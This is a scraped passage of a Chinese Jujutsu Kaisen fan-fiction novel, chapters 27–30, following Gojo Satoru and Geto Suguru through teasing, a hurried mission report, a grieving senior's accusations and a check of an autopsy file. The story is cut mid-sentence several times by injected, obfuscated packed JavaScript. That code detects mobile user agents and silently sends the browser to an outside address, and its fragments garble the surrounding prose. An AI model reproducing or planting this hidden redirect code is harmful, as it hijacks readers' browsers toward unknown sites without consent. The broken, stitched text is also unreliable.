l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276873|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吧？ 方才丢出去攻击同位体的回旋镖全打了回来，五条悟不可置信且气急败坏：“杰怎么又不告诉老子？好过分！不是早就说了杰不可以有事情瞒着老子吗？！” 他这么一喊，咒术高专学员本来就不多，现在更是错过了正午，食堂里人也不多，但就是这为数不多的人都纷纷将视线投了过来。 都在一个学校，抬头不见低头见，大伙也都知道这两个笨蛋家伙，凑在一起时就像普通学校的弱智男高似的，快乐得不像咒术师，闹出什么事情来都不奇怪。 但……今天的戏码好像有点奇异？你们两个已经到了要交换所有秘密的程度了吗？ 再撕响亮一点！还是熟人的瓜最好吃！ 所以说，真的有必要这么大声吗？形式一下倒转，瞬间被打入反方的夏油杰险些以为自己犯了天条。 他只是个很要面子的男高中生而已，正是最关心自己形象的时候。真的直接说出来，他岂不是就成了和那个作精男不相上下的存在了？很丢人的，才不要。 夏油杰充耳不闻，只说：“根本没有那种事吧，我哪里瞒着悟了，不要自己脑补……总之悟先把发圈还我。” 五条悟大叫：“这是转移话题？好低级的转移话——” 在为数不多的熟人的注视下，夏油杰怀着大不了明天不活了的信念扑上去捂住了他的嘴，随即一系列动作非常迅速地压了上来，膝盖摁在五条悟的大腿上，顺势就要去摘掉他脑袋上的发圈。 猫是一种很叛逆的生物，非得把什么东西从它们爪下拿走的话，猫就会爆发出全部的力量疯狂地和人类争夺到天荒地老。 五条悟没在其他方面浪费时间，瞬间就已经明了夏油杰的目的，很警觉地立刻捂住了脑袋，一扭脖子就错开了夏油杰伸过来的手，自己顺手摘了发圈套在了自己手腕上，随后死死地抱住了夏油杰的腰，瞪着眼睛含含糊糊地呜呜几声。 好了，这下话题彻底被转到发圈上了。 夏油杰小声崩溃道：“喂，别套在手上啊！” 寻常中学的早恋小情侣，男生的手腕上总是会缠着女生五颜六色配饰可爱的发圈的。 那时暂未留好长发的夏油少年想，这大概是一种标记行为。在此等情况下，发圈和戒指几乎起到了同样的作用。 虽然夏油杰暂时还没有在发圈方面做出些时尚探寻，只是普普通通黑色的一根……但这种显然和五条悟绝缘的东西突然出现在了他身上，那发圈的来源究竟是谁还需要特意思考吗？ 总不会真有人觉得，那根发圈来自他们唯一的、短发的女同学吧？ 他松手去抢，便不得不把五条悟的嘴放了出来。 这家伙倒也不闲着，立刻就说：“这也不行那也不行，老子到底哪句话杰听进去了啊！” 两人在逼仄的食堂座椅上扭作一团。 夏油杰很不服气：“……我都听了！” 他听倒是听了，可是这种情况究竟要怎么才能把实话讲出口？所以当然就只能选择性说实话啦！ 这不是根本没达到想要的结果吗？！本以为自己这边已经万事大吉，结果挚友这里显然还有地雷埋着等他踩啊！ 五条悟再也得意不起来了，强烈的危机感笼罩在他心头。 他，也没比异世界的倒霉蛋赢多少。 27.第 27 章 “……都听了，但不一定会照做。”五条悟的表情变得有些凝重起来，“杰是这样的意思，对吗？” 不然怎么说夏油杰也是很不得了的问题儿童呢。 虽然这家伙最近一直被各种各样的直球打得头晕眼花，看起来已经毫无招架之力了，但有些莫名其妙的坚守绝对不可能轻易放弃的。 比如，这个没长嘴的笨蛋一向将主动展露自己脆弱的部分视为极端羞耻的事情，甚至现在也没有改变过。 这家伙完全和贩卖机似的——要知道夏油杰究竟在想什么，必须得主动去问，甚至偶尔问了也不会得到答案，除非更用力地拍拍，才能让想要的东西掉出来，但如果太用力的话，此贩卖机还可能暴起砸人，留下一地的鸡零狗碎…… 虽然又遭遇沉重打击，但诡异的是，五条悟其实不怎么意外，他好像隐隐有点理解只能在他短讯那头破防的笨蛋白毛了。 毕竟是杰的问题嘛……这家伙可以说是他们目前平静顺遂的一生中最陡峭的高峰了，挑战性与趣味性并存。 好吧，他就喜欢高难度。 只可惜他问完问题后，夏油杰陷入了良久的沉默当中。 五条悟捏了捏他的后腰，啧道：“说点什么啊，别装哑巴。” 夏油杰：“……” 好尖锐的问题。 某些刻入DNA的回避欲望差点就要发作了，但五条悟死死地箍着他的腰，原本是为了压制男同学才压上来的，现在却反而让他施展不开无处可逃。 事已至此……就算先前那些“不平等条约”都是自己稀里糊涂认下来的，如果要按照它们的要求来的话，的确是自己不占理，但夏油杰绝对不要露怯。 他稍微调整了一下位置，确认五条悟无论如何也不可能放开他，便摆烂似的直接坐在了对方大腿上，一本正经地竖起无名指认真道：“听好了悟，你自己也知道那些要求有点过分吧？我已经努力配合了，倒是稍微给我留一点空间……连这种小事都要抱怨的话，岂不是显得很……” 很作！ 他迫切地想和某个假想敌划清界限，结果越在意就越发情难自已，反而往对方的道路上冲刺过去了。 夏油杰初恋就看上了有夫之夫，每天还得装得无比坦荡似的接受边界感为0的挚友的考验，心情乱得像是被猫咪抓过的毛线团，而那个毫不知情的家伙还一副无法理解的样子对他步步紧逼…… 太坏了，五条悟太坏了！ 只可惜六眼没能进化出读心术的功能，五条悟并不知道自己已经在挚友心里成了超级大坏蛋，很不高兴地撇了撇嘴说：“可老子早就和杰说过，那种事情根本不重要，老子又不会因此嘲笑杰！老子只关心杰有没有把问题告诉老子！” 五条悟不容置疑地下了结论：“杰是傲娇。” 崩溃到一定地步后，夏油杰反而冷静了下来，仿佛无事发生似的说：“我如果真的是傲娇的话，现在就一头撞死悟。” 五条悟面无表情：“呵呵，老子才不信呢。” 要是他先前没让夏油先生创得天昏地暗，差点就真的要被糊弄过去了。 夏油杰这种生物，真是太狡猾了……遇到这样难搞的挚友，会气得头晕眼花泪腺失控也很正常，也许他不该只顾着刺挠隔壁家猫，还得问问负面教材究竟都做了什么才对。 就在他略有些走神地想着时，夏油杰忽的俯下身来，“邦”地一下，伤敌一千自损八百地攻击了五条大人尊贵的脑袋。 “哎哟！”五条悟吃痛，便顺势松了手，随即瞪着眼睛不可置信地看着施施然脱离了他桎梏的夏油杰。 夏油杰虽然脑袋也很痛，但还是装出毫无影响的样子，哼道：“……真是和悟说不明白，我走了！” 袭击了神子的神经狐狸脚底抹油，果断地溜走了，虽然撞得自己头晕目眩，还是努力地保持着脚下的平衡，若无其事地走出了食堂。 方才还有些沉重的氛围忽的一散。 呆呆地看着他的背影的五条悟：“……？” 有些时候，就连自认one and only的五条悟也有点无法理解夏油杰的行为。 难道、难道是因为他刚刚说自己不信吗？ 就因为他不相信自己会被创晕，夏油杰就真的一头砸了过来？可这不是变相地承认了自己是傲娇吗？ 五条悟本来想追出去的。 可食堂门一关一闭，他看见夏油杰被突然出现的班主任拦了一下，两人说了什么，夏油杰指了指食堂里，夜蛾正道就放过了夏油杰，继续走进来了。 班主任面色有些严肃，四处看了看，墨镜后的目光最终落到了他身上，迈开步子走向他的方向。 五条悟直觉不妙，站起身想反方向溜走，但夜蛾正道已经叫出了他的名字：“悟，等一下！” “啊，夜蛾……”五条悟无奈地转过身来，“有什么事？” 五条悟没进过普通的学校，进了高专后老是和夏油杰狼狈为奸，两个人被班主任主动找上几乎都是有坏事，自然而然地就练出了及时逃跑和互相推锅的技能。 虽然离得很远，但他都能想出刚刚夏油杰跟夜蛾正道讲话时的神情了——那家伙绝对是把什么不得了的事情推到了他头上，以此来绊住他的脚步！ 只是他想了半天，也没想到是哪件坏事败露……未知会带来更加令人不安的恐惧，但五条悟就是想不到。 夜蛾正道看他这副绞尽脑汁的样子略感疑惑，不过也没有卖关子，很直接地说：“悟，高层那边希望立刻看到这次任务的报告。杰刚刚告诉我，按照你们的安排，这次的任务报告是轮到你写了，虽然有点着急，希望你能快点写完。” 总监部的烂橘子？五条悟挑了挑眉。 东京这边大部分时候处于放养状态，总监部的手没那么长，没有太大的事情一般都管不着这里，更别提这只是一次普普通通的救援任务，急着要任务报告做什么？ 烂橘子事出反常必有妖，五条悟一点都不想配合，随口敷衍道：“嗯嗯，知道了。老子等会儿回去就写。” 等着吧，老子下辈子都不会写出来的！ 夜蛾正道一看就知道他想要拖延，表情有点为难，小声地说：“高层的大人们限定了时间，让我们下午四点之前将报告传真过去。”他看了看自己的腕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287748|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表，继续道，“现在两点了，悟。先写吧。” 五条悟还在挣扎：“如果老子说其实这次的任务报告是该杰写……” 夜蛾正道清了清嗓子，“咳咳。” 好吧，好吧，看样子是没有挣扎的余地了。五条悟双手插兜，胡乱地点点头，“行，立刻写。马上就去。” 五条悟被押到办公室写任务报告，三下五除二就写完了。 咒物——不认识，但已经碎成渣了。 展馆——好像被咒物影响，变成了有点麻烦的半领域，不过咒物坏掉之后就恢复正常了，应该可以正常投入使用。 咒灵——很弱的啦，咻咻啪啪就祓除掉了！ 伤员——死了一个，伤员送去给硝子治了。 五条悟很潇洒地在报告人那一行签名，将自认为完成了的任务报告交给了夜蛾正道。 班主任接过，眉头紧锁地迅速浏览完毕，好像有点不可置信。 五条悟虽然是问题儿童，但平时的态度都还算良好，原来的任务报告偶尔会省点字，可也好歹算是把情况讲清楚了，这回的任务报告就充满了一种赶工且敷衍的态度，只是潦草随便写了写…… 夜蛾正道迟疑道：“悟，你……” 其实稍微有点脑子的人都会忍不住猜测总监部如此急迫的原因。夜蛾正道本来还在想等五条悟写完之后他再稍微润色一下，将一些也许不利的部分删去，可他的学生个个都非常聪明，五条悟更是不用提醒已经领悟到了精髓…… 五条悟无所谓道：“就这样交过去吧。那群烂橘子看到是老子写的就知道了。” 他原来的任务报告都是照着夏油杰的模版写的，所以他们两个的任务报告看起来总是很像，只要回头检查过其他的就能明白，这次他自己随手乱写，一是要先向烂橘子们表明五条家未来家主的态度，再是敷衍了事试探一下他们的目的。 总监部和御三家并立，互相牵制也互相支撑，所以用什么身份和烂橘子们交流可是很重要的。 五条悟不太能看得上五条家的做派，却也不得不承认，这群烂橘子在互相折磨的时候总是能给出最妥当的处理方式。他嘛，耳濡目染也能学到不少，只是大多数时候不用而已。 夜蛾正道没太注意他的深意，检查过任务报告中没什么不能给高层们看的内容后便挥挥手让他走。 等五条悟走到门前，夜蛾正道脑中灵光一现，想起之前的忘掉的事情，突然问：“悟，这次的咒灵被杰调伏了吗？” 刚刚夏油杰好像有特别着急的事情要做，夜蛾正道被他的急迫感染，一时间忘了问，只能侧面问一问他的搭档了。 夜蛾正道不知道高层们这次的急促是为了什么，但隐约能靠直觉明白没能闹出太大动静，一出手就险些让两个二级术师折戟的咒灵不简单。 可是被误判强度的咒灵的数量也说不上少，为什么高层偏偏这次急着要看任务报告呢？ 五条悟顿了顿，随即很笃定地说：“哦，没来得及。那家伙只是很能跑而已，被老子逮到就祓除了。” “这样啊……”夜蛾正道也不知道信没信，微微颔首，放他走了。 28.第 28 章 借助班主任的阻拦，夏油杰顺利地甩掉了五条悟。 到偏僻处停下休息时，他已经分不清自己剧烈跳动的心脏究竟是为方才的奔跑，还是为那个无比认真想要撬开他心房的白发少年了。 五条悟这样的家伙，比起人类，其实更像是只靠本能行动的野兽，表达喜恶都非常直接，所以才能做到百分百击破傲娇狐狸靠礼貌与客套修筑起来的防线。 夏油杰捂着心口深呼吸好几下，好不容易平复一点后，忽的听到“叮咚”一声响——他现在和五条悟一样对短讯提示音敏/感，不过他是听五条悟的手机听的，和那个搞网恋搞得头晕目眩的家伙不一样。 他喜欢发短讯，只是为了给生活的日常留下痕迹而已，这是优等生的生活仪式感。 结果现在会给五条悟狂发短讯的人又多了一个神秘作精男，他心里不爽，又不好直接表明，偶尔生一些闷气，但却总是让最近突然在情感方面变得非常敏锐的五条悟很妥帖地疏散了，照顾与被照顾的地位陡然倒转过来，然而夏油杰对男同学的喜爱仍然与日俱增。 而人类对喜爱的小生物总是会忍不住揉揉捏捏来表达喜爱的，刚才看五条悟发呆，仿佛看见莫名其妙立在原地作高深状的小猫咪一般，他险些没忍住想凑上去亲一下，还好及时忍住改成了头槌…… “啊啊啊啊啊啊啊啊啊啊啊——”夏油杰抱着脑袋蹲下来发出一顿崩溃的大叫。 明明只是区区的悟而已、那个可恶的笨蛋小学鸡，怎么会散发出这样的魅力啊！难道喜欢的感情真的能做到给可恶的鸡掰猫套上N层滤镜吗？ 幸好附近没人，已然坚持不住的夏油杰靠大喊大叫发泄完毕，又成了端庄有礼的优等生，故作矜持地将手机拿出来，心道那家伙怎么被夜蛾老师揪去写报告都还有空骚扰他，还做了一定心理准备去想五条悟给他发了什么暴言过来，结果按键点开屏幕一亮，发信人是家入硝子。 夏油杰：“……” 那他刚刚到底是在做什么？别总是想那么多啊夏油杰！ 夏油杰深吸了一口气，搓了搓脸点开女同学发来的短讯。 家入硝子：【有空没？藤原又醒了，他说想要见你。他状态不太对，你最好来一趟。】 夏油杰即刻迈步，手上打字询问：【好。藤原前辈怎么了吗？】 家入硝子飞快回信：【一句两句讲不清楚，总之你先来吧。】 好吧，看来情况很严重。夏油杰立刻动身前往医务室。 …… 医务室一向很安静，今天更是安静到了有点恐怖的地步。 夏油杰推门进去时，藤原只很安静地坐在病床上。 之前被咒力腐蚀的伤口已经治好了，但他的表情看起来却非常沉寂，看见夏油杰来也只是微微颔首，好像不是他主动说想见夏油杰似的。 夏油杰有点莫名，只能用眼神询问靠在墙边拿着病历本写写画画的家入硝子。 家入硝子把自己写在病历本上的判断递给他看，“PTSD，敌意投射明显，针对目标为救援人员之一的五条悟”被画了几道下划线强调出来。 “和悟有什么关系？”夏油杰只先看到了这一句，悄声问道。 家入硝子刚想回答他，藤原就先开口了：“我怀疑，五条悟应该是被咒灵替换了……他可能根本没能从展馆里走出来，那只咒灵甚至还借用了他的身份杀了竹村。” “就是这样……”家入硝子给夏油杰递了个眼色，才继续转向藤原无奈道，“竹村的尸检是由我负责的，他的伤口和五条没关系，非要说的话……算了，你总该相信我吧？” 那只咒灵可以靠吸取别人的咒力残秽伪装这件事，藤原已经和她念叨过无数遍，得到这个条件，竹村的伤口上不可避免地混杂了一些藤原的咒力也就很好理解了。 家入硝子暂且没把这种话告诉他，结果藤原彻底接受搭档的死亡后，记忆似乎变得有点错乱，一下就将迁怒的目标改换为了他见到过的，咒灵伪装成的五条悟……甚至已经到了怀疑那个肯定是真货的笨蛋人类的程度。 五条悟当时恐怕说了点不合时宜的话吧…… 家入硝子缓缓目移，她近乎一晚没闭眼了，倒是用反转术式把自己续住了，但精神上的疲惫是无法治愈的，也就是先前出门抽了个烟提神，现在很难有去开导旁人的余裕。 然而，即便如此，五条悟也不到要被扣上杀人凶手的帽子的程度。 大概是她不信的态度过于明显，藤原才提出了让夏油杰来的要求。他很可能是想说服夏油杰远离已经被他认作了威胁的五条悟——不想让经历了这场事件的夏油杰也遭遇同样的痛苦的投射心理，很显然的PTSD症状。 藤原有些神经质地摇了摇头：“不，硝子小姐。你当时不在现场，那只咒灵……” 迅速扫完了病历本的夏油杰忍不住打断他：“那只咒灵已经被我调伏了，悟百分之百就是他本人。” 当时五条悟的做法确实有点太没人文关怀了，不过也是出于先救活着的人的好意，理性过头再加上那家伙当时心里还有些事，所以看起来略显不通人性……因为这个被误会了吗？ 医务室内一时沉寂，夏油杰顿了顿才说：“抱歉，节哀。” 藤原沉默了片刻，随后看向他，瞳孔不住颤动着，问：“……那你的意思是，五条悟本来就是这样的家伙？根本就不在乎旁人的性命，连多余看一眼都不愿意？能被载入史册的天才，果然不会在意身边的蝼蚁……” 他的指节捏得发白，完全陷入了自己的世界中去，“竹村被他遇到的时候真的就死掉了吗？该不会也觉得‘没有必要’所以就直接放弃了吧？如果……如果先找到他的人是你，现在活下来的人说不定就是竹村了吧……” 夏油杰一时失语。 家入硝子瞥他一眼，这大概就是写了“那种话”的傲慢自大狂遇到的第一轮打击。 虽然五条悟平时有点拟人，但还真不是见死不救的人，如果竹村真的还有命活，那家伙肯定不会丢着不管。 藤原已经魔怔了，他无法接受现状，自己也没有见过当时的状况，只能靠质疑救援的人究竟有没有尽全力来让自己好受一点。可以理解，但绝对不能说是正确。 事已至此，既然竹村这副状态难以靠简单的说明事实来解除，现在要做的大概就是让这家伙好好接受治疗，可不能再搞出一个新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15292946|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的患者。 她已经准备出声打断了，就忽的听已经措辞完毕的黑发少年开口了。 “藤原前辈，我理解你现在的感受，但你的怀疑有失偏颇。”夏油杰垂下眼帘，很平缓地回应道，“如果悟真的不顾旁人死活，便从一开始就没有参与任务的必要，既然他已经参与，就绝对会尽心尽力地救人。 “或许他的表达有些直白，但也只是在陈述客观事实，绝不存在故意放弃的可能性。这话可能有点残酷，竹村前辈被悟找到时恐怕就已经不幸罹难了。所以，就算换作是我，也不过只是能保存竹村前辈的遗体而已。” 藤原：“……” 夏油杰长长地吐出一口气，坚定道：“尽管如今的结局令人遗憾，悟也一定做到了全力以赴。你对他的责怪太先入为主了，简直就和‘近十年来咒灵平均水平变强是由于五条悟出生’一样荒谬，恕我无法认同。” 藤原不再说话了，垂着头不知道在想什么。 两个高中生默默带上门出去了。 房门咔哒一声关上后，夏油杰才突然回过神来，询问道：“……我刚刚说话是不是有点太直接了？” 五条悟在外的风评一直都不怎么样。 哪怕是他们那绝好说话的辅助监督，一开始也都是战战兢兢地来上班的，哪怕已经组了一学期的队，也仍然不敢单独和五条悟说话——虽说有那个笨蛋看出人家害怕于是故意吓人的成分在就是了。 至于其他相距更远的咒术师，也几乎都被那种谬论洗脑……要不是五条悟真的很强，说不定早就淹没在舆论的洪流里被诅咒致死了，根本活不到这么大。 夏油杰也很强，对这种谬论一向嗤之以鼻。 如果非要起承转合怪五条悟的话，他就非得跟那个笨蛋荣辱与共了……结果就略显反应过激，连伪装出的体面都不太能保持。 那种谬论在咒术界传播的时间属实有点久，让五条悟也随之变成了不受欢迎的人，虽说有点脑子的人看看现在的社会状况就能明白其中因果关系的倒置—— 不是五条悟出生导致了咒灵变强，而是可以预见到的咒灵会变强才让五条悟诞生了。 明明最近的咒术师实力相对于曾经都拔高了许多，术师和咒灵两方都在增强的趋势很明显，但五条悟就像一个立在那里的靶子，不明所以的家伙也只好先恨恨他了……就算完全没有意义。 怎么会总有人连见都没见过，就能恨上别人呢？ 家入硝子也从有点茫然的状态中回过神，她当然看出夏油杰刚才有些失态了，摆了摆手说：“挺好，也算直接戳破了他有点扭曲的认知，希望藤原能先恢复恢复吧……但你的反应还真是有点大，哈哈，也就是你才致力于去辟这个谣。” 夏油杰扯了扯嘴角，“悟人很不错的，别人不能了解还真可惜啊。五条家的宣传工作真是太烂了，要不还是让我来……” 家入硝子：“……？” 没人问你这个吧。 看见女同学困惑中带着迷茫的表情，夏油杰才真心实意地笑出来：“我开玩笑的，我怎么会勉强别人呢？” 悟就是全世界最好的人，不能了解就拉倒吧，没品的家伙们。 29.第 29 章 夏油杰一般不勉强别人，他只是很顺便地继续说了下去。 “悟其实是个很温柔的人……”夏油杰轻叹了口气，“那种情况下，不管说什么都会被记恨上的，虽然他个人不一定有这种意识，但大概也知道反正自己都不招人喜欢，再拉些仇恨也没什么大不了。” 和他不同，五条悟哪怕是在咒术师中也被当作异类，那双眼睛带来了许多便利，也让五条悟过早地看清了太多东西。 所以，五条悟总是用那种恶劣的态度对待不明真相的人，某种意义上来说甚至是对庸人的保护。 让大多数笨蛋坚信的观念破碎，也不那么有趣，也许悟本身有些恶趣味，却完全没到这种程度。 五条悟默许了庸众将他推上神座。 而夏油杰只想走到他身边。 既然在各自原本生活的族群中都是异类，那他们两个就是唯二的同类了。 “我有义务去分担悟的压力。”夏油杰耸了耸肩，动作有些轻佻随意，但说出的话却非常郑重，“因为我和悟，我们两个就是最强的。” 如果旁人一定要崇拜、要畏惧的话，那就由他们两个一起来承担吧。毕竟都已经答应了“一辈子”的承诺，就算还有些没能完全坦诚的部分……也不是很重要，只用知道他们一定会一直在一起就可以了。 家入硝子挑了挑眉，如果她没听错的话，这家伙，绝对说出了很不得了的话耶。 哦，难怪五条悟那么笃信自己要是开口绝对不会被夏油杰拒绝，这里有个笨蛋早就有无论如何也要绑在一起的决心了诶—— 家入硝子意味不明地说：“那你完蛋了。” 作为注定会成为情侣的笨蛋们唯一的同期，她也完蛋了！ 夏油杰忽的回过神来就听到女同学饱含怜悯的话语，一头雾水地问：“什么？我怎么了？” 家入硝子淡定道：“没什么，你超爱。” 夏油杰：“……” 夏油杰：“……” 夏油杰：“……” 漫长的沉默后，夏油杰脸红到了脖子根，控制不住地发出尖锐爆鸣：“硝子——你在说什么呢？！” “自己是笨蛋就别把其他人当笨蛋啊。”家入硝子在阶梯边停下脚步，下面是她平常休息打盹的地下室，女同学脸上露出非常显然的揶揄神色，“你们两个，不是已经到两情相悦的地步了吗？暧昧期间老是拿情感烦恼打扰其他人很没礼貌的，优等生。” 她原本想丢下这才绝望地发现自己多余的情感过于明显的夏油杰下去休息的，结果刚走了一个台阶就听见另一个熟悉的声音大喊道：“硝子——等一下！” 另一个白毛笨蛋飞速冲来，得了黑毛笨蛋伸手拉住的助力才没冲过头。不顾女同学顿时变得非常诡异的神色，五条悟连忙道：“有事要硝子帮忙，借一下你的钥匙，老子要看尸检报告。” 家入硝子：“……” 虽然很想骂人，但五条悟这种反应一般是有大事发生，能让这家伙着急的事可没那么多……她无语地从兜里掏出钥匙丢给他，没多大威胁地警告道：“看完要放回原位，不许乱碰其他东西。” “谢啦！”五条悟伸手接下，又拉住夏油杰往解剖室的方向跑——尸检报告一般被放在那边的资料柜里。 夏油杰茫然地跟着他跑，抽空才能问：“悟？发生什么了？” 可恶，刚刚的话不会让悟听到了吧？！他、他才没有想破坏别人感情的意思啊…… “先跟老子走。”五条悟解释道，“咒术界的黑暗面要在杰眼前展开了，我们还是早做准备吧。” 夏油杰：“哈？” 五条悟不介意多和他解释两句，“杰该不会以为高层来催任务报告是很正常的事情吧？他们肯定还有阴谋，老子暂且怀疑是和那只咒灵有关。” 就算是五条悟也不得不承认，那只咒灵能够伪装他人的术式很有意思，但……它的头已经装不回去了，伪装能力实在大打折扣。 夏油杰点点头，很难说自己究竟有没有失望。他既希望五条悟刚刚听见了，又希望这家伙还是没听见的为好，现在毕竟有正事，还是先考虑一下烂橘子们究竟又使出了什么不得了的招数吧。 “所以，”五条悟冷酷道，“先看看死者的尸检报告有没有对我们不利的方面，如果有的话就改掉。反正尸体已经处理过了，他们能看见的也就只有硝子的报告。” 而这种东西一般都留在医生这边存档，不涉及到重要的人员，高层不会主动要，家入硝子当然也不会主动交，如果真有问题的话，他们还有最后的机会。 家入硝子虽然总是一副讨厌麻烦与世无争的样子，但遇到这种事才不会卖他们呢，区区同期生的羁绊罢了。 哦，别人没有啊，那没事了。 不过死者是在他们到之前就已经遇害了，尸体上能检测出来的咒力除了咒灵本身，恐怕也就只剩藤原的了，大概率不可能靠这个把锅扣在他们头上，但总监部嘛，能用出什么招数都不奇怪。谨慎起见，五条悟还是想过来检查一遍。 夏油杰皱眉：“已经到这种地步了吗？” 那群家伙，总不能为了排除异己连死人都不放过吧？ “习惯就好，常事。”五条悟毫不意外。 甚至说，在唯一的、大家都不方便拉拢的反转术使出现之前，要在尸体上动手脚是更简单的事情。 现在大多数术师的尸体都要交给家入硝子处理，反而更加公平公正——硝子大人平等地看不上所有人，不屑于帮任何人造假。 两个腿很长的高中生很快就跑到了解剖室，拿着钥匙开了档案柜的门，抽出最新的资料，果不其然就是竹村的尸检报告。 他们凑在一起迅速扫过几遍，和先前想的并无不同，竹村的身上的伤口确实只是咒灵所为，就算要找麻烦恐怕也只能找到留下咒力残秽的藤原…… 一时半会儿，连五条悟都不知道烂橘子们究竟唱的哪一出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298511|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>五条悟瘪着嘴把尸检报告放回原处，抱着脑袋发出一顿乱叫，“讨厌死了，为什么这群烂橘子不能好好地待在地里自己腐烂啊！” 夏油杰隐约能感到自己好像摊上事了，但他不那么着急，甚至还有闲心安慰说：“嘛，没什么好担心的。如果高层们要针对我做些坏事的话，我当然会反抗的啦。” 虽然他也不知道自己目前能做到什么地步，目前咒灵的数量还是太少了，直接跟高层爆了肯定是不行的，也许需要小小地虚与委蛇一段时间…… 五条悟忽的拍上他的肩膀，很不高兴地说：“感觉杰好像在想很危险的事情诶！真是的，不许把老子排除在外，快点说给老子听！毕竟我们两个才是最强的嘛~” 闻言，夏油杰忽的僵住了，他看着五条悟故作无辜的脸，声音颤抖着说：“……等等，悟。你什么时候到的？” “‘我有义务去分担悟的压力，因为我们两个就是最强的’——”五条悟学着他的语气，非常做作地棒读着说完，随即又切换为正常状态，“这个时候刚到。真是的，没想到杰又背着老子耍帅，这种话当然要和老子一起说出来才对啊。” 至于女同学所说的话，他根本没放在心上。他们两个关系太好了，从剑拔弩张突发到亲密无间的速度早已让坐在中间的家入硝子一天对着他们翻十几个白眼。 只是他现在真的不那么清白，有些东西不能说拿好兄弟就能糊弄过去。硝子有些时候真是很不给面子，他都说过杰是直男了，可是硝子居然替他A上去了……还好杰的确没展现出恐同的态度，这家伙还真是很博爱，说不歧视就不歧视。 五条悟有点担心自称直男的夏油杰尴尬，所以非常体贴地想立刻把这部分跳过去，可他又觉得那句“我们是最强的”让他非常爽，不嘚瑟一下简直感觉全身有蚂蚁在爬。 重点不是“最强的”，是“我们”。五条悟刚刚已经躲在角落暗爽好一会儿了——嘿嘿，我们是最强的，嘿嘿。 夏油杰：“……” 五条悟真是非常温柔的人，居然很体贴地避开了来自女同学的“暧昧阶段”的调侃。说真的，他到底能不能等到上位的机会啊……硝子说什么他超爱，五条悟又何尝不是超爱呢？ 悟到底喜欢那家伙什么啊！ 不过肉眼可见的是，就算五条悟不和那家伙分手，他们也注定是一辈子的挚友。哈，这样也可以啦，人生总是要有点遗憾的。 夏油杰长舒一口气，露出很释然的温柔笑容说：“我知道了。我们两个是最强的，所以不管接下来到底有什么阴谋，只管让他们放马过来吧。” 五条悟盯了他一会儿，忽的伸手抬了抬墨镜，夏油杰那根皮圈就这么又突然撞进他视野里——正套在五条悟手腕上，某种意义上来说与小猫咪的项圈来说没有差别。 夏油杰：“……” 退一万步来说，他真的要接受这个遗憾吗？ 有些时候，幸福是要靠自己争取的，对吧？ 30.第 30 章 五条悟其实早就知道，夏油杰此人有些很了不得的才能，在散发魅力这点上尤其突出。 当初还没有这种意识时，他只觉得这家伙是不是帅得有点过分了……现在嘛，可恶，还是帅得很过分！ 五条悟觉得有点不好意思的时候就想推推墨镜，不过今天推过墨镜之后，夏油杰的眼神突然变得有点奇怪，就好像忽的下定了某种决心似的…… 他刚想开口问，夏油杰就忽的上前一步抓住了他的手，诚恳道：“好了，悟，我们……” 五条悟疑心此人还没忘记要从他这里把发圈拿回去，“啪”地一下就把另一只手合了上来，两个人在解剖室边深情款款地双手交握对视着，陷入了奇异的沉默。 大约一分钟过去，夏油杰还是扛不住了，有点尴尬地移开视线。他想，可能这就是心里有鬼的表现…… “杰，你为什么不说了？”五条悟真心实意地疑惑道，“接下来呢？” 夏油杰：“……” 人类说到一半忘记自己要说的话是很正常的事情，更何况对话人还是个突然做出了奇怪行为来打岔的笨蛋。 对上那双亮闪闪的苍天之瞳时，他的大脑忽然空白了一瞬，接下来就莫名地哑了。 夏油杰很无语：“……我忘了！都怪悟，突然把手握上来干嘛？” 五条悟眨巴眨巴眼睛，发出矫揉造作地惊叹声：“诶——老子以为杰要说点激励人心的话才握上来的耶，结果还要怪老子配合得太殷勤吗？” 这、个、笨、蛋……夏油杰磨了磨牙，猛地甩开手，扭头便走，还说道：“走了，再和悟干瞪眼也没用！” 还说上位呢……不把这种只属于笨蛋朋友的小学鸡氛围破除，根本就没有转换关系的可能性嘛！ 夏油杰一口气憋在胸口上不去下不来，一边想着要不干脆和这小子爆了，一边又觉得就算是准备走不那么道德的道路，也不能太过……呃、放荡。 ——优等生有自己的矜持！矜持！！ 五条悟也不是很懂，夏油杰要走他就只能跟上去咯。 